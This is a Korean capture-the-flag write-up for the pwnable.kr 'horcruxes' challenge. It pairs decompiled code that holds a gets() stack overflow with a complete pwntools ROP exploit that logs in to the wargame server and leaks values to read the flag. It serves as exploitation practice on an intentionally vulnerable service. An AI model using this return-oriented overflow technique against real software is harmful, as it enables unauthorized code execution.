pwnable.kr - horcruxes

2021. 7. 6. 02:30WarGame/pwnable.kr

 

처음에 접속하면 아래와 같은 모습을 확인할 수 있습니다.

9032번 포트가 열어져 있다네요,

> scp -P 2222 horcruxes@pwnable.kr:~/horcruxes /Users/idongjun

위 scp 명령을 활용해서 desktop으로 파일을 가져오고, ida로 분석해보았습니다.

32bit버전 확인해주고, ida로 까보면

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST1C_4

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  alarm(0x3Cu);
  hint();
  init_ABCDEFG();
  v3 = seccomp_init(0);
  seccomp_rule_add(v3, 2147418112, 173, 0);
  seccomp_rule_add(v3, 2147418112, 5, 0);
  seccomp_rule_add(v3, 2147418112, 3, 0);
  seccomp_rule_add(v3, 2147418112, 4, 0);
  seccomp_rule_add(v3, 2147418112, 252, 0);
  seccomp_load(v3);
  return ropme();
}

위와 같은 main을 확인할 수 있고, init_ABCDEFG 함수를 들어가보면

unsigned int init_ABCDEFG()
{
  int v0; // eax
  unsigned int result; // eax
  unsigned int buf; // [esp+8h] [ebp-10h]
  int fd; // [esp+Ch] [ebp-Ch]

  fd = open("/dev/urandom", 0);
  if ( read(fd, &buf, 4u) != 4 )
  {
    puts("/dev/urandom error");
    exit(0);
  }
  close(fd);
  srand(buf);
  a = -559038737 * rand() % 0xCAFEBABE;
  b = -559038737 * rand() % 0xCAFEBABE;
  c = -559038737 * rand() % 0xCAFEBABE;
  d = -559038737 * rand() % 0xCAFEBABE;
  e = -559038737 * rand() % 0xCAFEBABE;
  f = -559038737 * rand() % 0xCAFEBABE;
  v0 = rand();
  g = -559038737 * v0 % 0xCAFEBABE;
  result = f + e + d + c + b + a + -559038737 * v0 % 0xCAFEBABE;
  sum = result;
  return result;
}

a~g까지 각각 rand한 숫자를 넣어주는것을 볼 수 있습니다.

마지막으로 가장 의미심장한 함수명인 ropme를 봐보면

int ropme()
{
  char s[100]; // [esp+4h] [ebp-74h]
  int v2; // [esp+68h] [ebp-10h]
  int fd; // [esp+6Ch] [ebp-Ch]

  printf("Select Menu:");
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag", 0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}

a부터 g까지의 합을 맞추면 flag를 읽어줍니다.

여기서 gets함수에서 bof가 발행함으로 a~g를 직접 값을 받아올 수 있습니다.

  1. buf덮기
  2. a~g 값 가져오기
  3. call ropme
  4. sum 더해주기

를 구상해서 payload를 작성해주면 아래와 같습니다.

call ropme 하는 주소 가져오기

from pwn import *
import ctypes

context.log_level = 'debug'

e = ELF('./horcruxes')
s = ssh(user='horcruxes', host='pwnable.kr', port=2222, password='guest')

horcruxes = s.run('nc 127.0.0.1 9032')
#horcruxes = s.run('nc 0 9032')
horcruxes.recvuntil('Select Menu:')
horcruxes.sendline("1")
horcruxes.recvuntil('How many EXP did you earned? : ')

log.info(hex(e.sym.A))
log.info(hex(e.sym.ropme))

payload = ''
payload += 'A' * 0x78
payload += p32(e.sym.A)#A()
payload += p32(e.sym.B)#B()
payload += p32(e.sym.C)#C()
payload += p32(e.sym.D)#D()
payload += p32(e.sym.E)#E()
payload += p32(e.sym.F)#F()
payload += p32(e.sym.G)#G()
payload += p32(0x0809fffc)#ropme
horcruxes.sendline(payload)

sum = 0

for i in range(7):
        horcruxes.recvuntil('EXP +')
        sum += int(horcruxes.recvline()[:-2])

print("sum = " + str(sum))
horcruxes.recvuntil('Select Menu:')
horcruxes.sendline("1")
horcruxes.recvuntil('How many EXP did you earned? : ')
horcruxes.sendline(str(sum))
print(horcruxes.recv())

 

 

'WarGame > pwnable.kr' 카테고리의 다른 글

pwnable.kr. - fsb  (0) 2021.08.29
pwnable.kr - brain fuck  (0) 2021.08.27
pwnable.kr - uaf  (0) 2018.09.10
pwnable.kr - cmd2  (0) 2018.09.09
pwnable.kr - cmd1  (0) 2018.09.03